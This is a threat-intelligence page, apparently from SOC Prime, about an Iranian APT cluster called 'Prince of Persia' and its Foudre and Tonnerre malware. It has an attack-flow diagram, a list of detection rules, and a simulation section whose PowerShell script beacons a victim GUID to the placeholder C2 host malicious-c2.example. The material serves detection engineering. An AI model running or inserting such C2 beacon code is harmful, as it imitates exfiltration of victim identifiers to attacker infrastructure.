SOC Prime Bias: Critical

23 Dec 2025 13:56

Prince of Persia: A 10-Year Retrospective on Iranian APT Activity

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Prince of Persia: A 10-Year Retrospective on Iranian APT Activity
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Summary

The report profiles the Iranian state-linked APT cluster dubbed Prince of Persia and traces its progression over the past decade, with emphasis on activity observed from 2023 through 2025. The operators rely on bespoke malware families—including Foudre, Tonnerre, MaxPinner, Rugissement, and Deep Freeze—to support espionage and systematic data theft. Recent iterations introduce domain-generation algorithms, Telegram-based command and control, and encrypted SFX payloads to improve resilience and concealment. Targeting spans critical infrastructure and dissident-linked networks across multiple regions.

Investigation

SafeBreach researchers followed the group’s operations from 2019 onward, collecting fresh samples, documenting C2 architecture, and analyzing the DGA logic. They decrypted protected payloads, extracted Telegram bot credentials, and built a timeline of variant rollouts. The research highlights separate production and testing infrastructures and details file-drop behaviors tied to Excel-driven infection chains. Indicators of compromise were assembled from malware hashes, domains, and URLs.

Mitigation

Monitor DNS activity for the identified DGA patterns, block known malicious domains, and restrict or inspect Telegram bot-related traffic. Add detections for the referenced malware filenames and loader DLL artifacts, and use DNS monitoring/sinkholing to surface rotating infrastructure. Enforce application allowlisting and harden Office security by limiting macros to reduce the likelihood of initial access.

Response

If any indicator is found, quarantine the affected system, capture volatile evidence, and run targeted forensics on dropped files and relevant registry paths. Block all linked domains and IP addresses, rotate exposed Telegram bot tokens, and reset credentials for impacted accounts. Hunt environment-wide for the custom loader DLL remnants and encrypted SFX payloads to ensure full eradication.

"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef malware fill:#ffcc99 classDef tool fill:#ffe699 classDef file fill:#ccffcc classDef process fill:#ffdddd classDef operator fill:#ff9900 %% Node definitions action_initial["<b>Action</b> – <b>T1566.001 Spearphishing Attachment</b><br/>Victim receives malicious Excel attachment"] class action_initial action file_excel["<b>File</b> – Malicious Excel with macro<br/>Drops ccupdate.tmp"] class file_excel file malware_foudre["<b>Malware</b> – Foudre (ccupdate.tmp)<br/>Encrypted SFX payload"] class malware_foudre malware process_macro["<b>Process</b> – Macro execution"] class process_macro process action_execution["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Victim opens Excel"] class action_execution action action_obfuscation["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Payload encrypted and camouflaged"] class action_obfuscation action file_camDLL["<b>File</b> – DLL disguised as MP4 video"] class file_camDLL file action_deobfuscate["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files</b><br/>Decrypts payload with hardu2011coded password"] class action_deobfuscate action process_decrypt["<b>Process</b> – Decryption routine"] class process_decrypt process action_dga["<b>Action</b> – <b>T1568.002 Dynamic Resolution (DGA)</b><br/>Generates domains LOS1, FTS1, u2026"] class action_dga action process_dga["<b>Process</b> – Domain generation algorithm"] class process_dga process action_webc2["<b>Action</b> – <b>T1102.002 Web Service Bidirectional Communication</b><br/>HTTP GET with GUID, version, user info"] class action_webc2 action process_http["<b>Process</b> – HTTP request/response"] class process_http process action_telegram["<b>Action</b> – Use of Telegram Bot for C2"] class action_telegram action file_tga["<b>File</b> – tga.adr (Telegram bot client)"] class file_tga file process_telegram["<b>Process</b> – Communicates via Telegram API using bot token"] class process_telegram process action_exfil["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b><br/>Uploads stolen files to C2 directories"] class action_exfil action file_exfil["<b>File</b> – Encoded filenames, encrypted content"] class file_exfil file action_data_obfusc["<b>Action</b> – <b>T1001 Data Obfuscation</b><br/>Stores exfil data with encoded names and encryption"] class action_data_obfusc action %% Connections showing flow action_initial –>|delivers| file_excel file_excel –>|drops| malware_foudre malware_foudre –>|executes via| process_macro process_macro –>|leads to| action_execution action_execution –>|triggers| action_obfuscation action_obfuscation –>|uses| file_camDLL action_obfuscation –>|leads to| action_deobfuscate action_deobfuscate –>|runs| process_decrypt process_decrypt –>|produces| malware_foudre malware_foudre –>|initiates| action_dga action_dga –>|runs| process_dga process_dga –>|resolves to| action_webc2 action_webc2 –>|uses| process_http process_http –>|downloads| file_tga file_tga –>|enables| action_telegram action_telegram –>|uses| process_telegram process_telegram –>|exfiltrates via| action_exfil action_exfil –>|stores as| file_exfil file_exfil –>|applies| action_data_obfusc "

Attack Flow

Detections

Possible Telegram Abuse As Command And Control Channel (via dns_query)

SOC Prime Team
22 Dec 2025

Possible Data Infiltration / Exfiltration / C2 via Third Party Services / Tools (via proxy)

SOC Prime Team
22 Dec 2025

Suspicious Command and Control by Unusual Top Level Domain (TLD) DNS Request (via dns)

SOC Prime Team
22 Dec 2025

Suspicious Taskkill Execution (via cmdline)

SOC Prime Team
22 Dec 2025

IOCs (HashSha256) to detect: DEC 18, 2025 Prince of Persia: A Decade of Iranian Nation-State APT Campaign Activity under the Microscope Part 2

SOC Prime AI Rules
22 Dec 2025

IOCs (SourceIP) to detect: DEC 18, 2025 Prince of Persia: A Decade of Iranian Nation-State APT Campaign Activity under the Microscope

SOC Prime AI Rules
22 Dec 2025

IOCs (HashSha256) to detect: DEC 18, 2025 Prince of Persia: A Decade of Iranian Nation-State APT Campaign Activity under the Microscope Part 1

SOC Prime AI Rules
22 Dec 2025

IOCs (HashMd5) to detect: DEC 18, 2025 Prince of Persia: A Decade of Iranian Nation-State APT Campaign Activity under the Microscope

SOC Prime AI Rules
22 Dec 2025

IOCs (DestinationIP) to detect: DEC 18, 2025 Prince of Persia: A Decade of Iranian Nation-State APT Campaign Activity under the Microscope

SOC Prime AI Rules
22 Dec 2025

Detection of Foudre v34 Infection via Excel File with Embedded Executable [Windows Process Creation]

SOC Prime AI Rules
22 Dec 2025

Detection of Foudre and Tonnerre C2 Communication [Windows Network Connection]

SOC Prime AI Rules
22 Dec 2025

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (T1584.005) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

  • Attack Narrative & Commands:
    The threat actor has provisioned a malicious domain malicious-c2.example that hosts the Foudre/Tonnerre C2 server. The attacker’s payload on the victim machine performs two HTTP GET requests:

    1. Sends the victim’s GUID to the Foudre C2 endpoint using the path /1/?c=<GUID>.
    2. Contacts Telegram’s API via the Tonnerre back‑door using the path /t/tga.adr.

    Both requests are made over HTTP (to simplify proxy logging) and include a generic User‑Agent to blend with normal traffic. The actions generate the exact fields (request_method=GET, url containing the targeted substrings) that the Sigma rule watches for.

  • Regression Test Script:

    # ------------------------------------------------------------
    # Foudre & Tonnerre C2 Communication Simulation (Windows)
    # ------------------------------------------------------------
    
    # 1. Define victim GUID (in a real infection this would be read from the registry)
    $guid = (New-Guid).Guid
    
    # 2. Define malicious C2 host (replace with an address you control for testing)
    $c2Host = "http://malicious-c2.example"
    
    # 3. Send GUID to Foudre C2 endpoint
    $foudreUrl = "$c2Host/1/?c=$guid"
    Write-Host "[*] Sending GUID to Foudre C2: $foudreUrl"
    Invoke-WebRequest -Uri $foudreUrl -Method GET -UseBasicParsing
    
    # 4. Contact Telegram API via Tonnerre back‑door
    $telegramUrl = "$c2Host/t/tga.adr"
    Write-Host "[*] Contacting Telegram API endpoint: $telegramUrl"
    Invoke-WebRequest -Uri $telegramUrl -Method GET -UseBasicParsing
    
    Write-Host "[+] Simulation complete. Check SIEM for alerts."

    The script is self‑contained; running it on a Windows host that routes traffic through the configured proxy will produce two log entries that match the Sigma rule’s url|contains conditions.

  • Cleanup Commands:

    # Remove any temporary network connections (only relevant if proxy creates persistent sessions)
    # Here we simply clear the DNS cache to avoid lingering resolution of the malicious host.
    ipconfig /flushdns
    Write-Host "[*] Cleanup complete."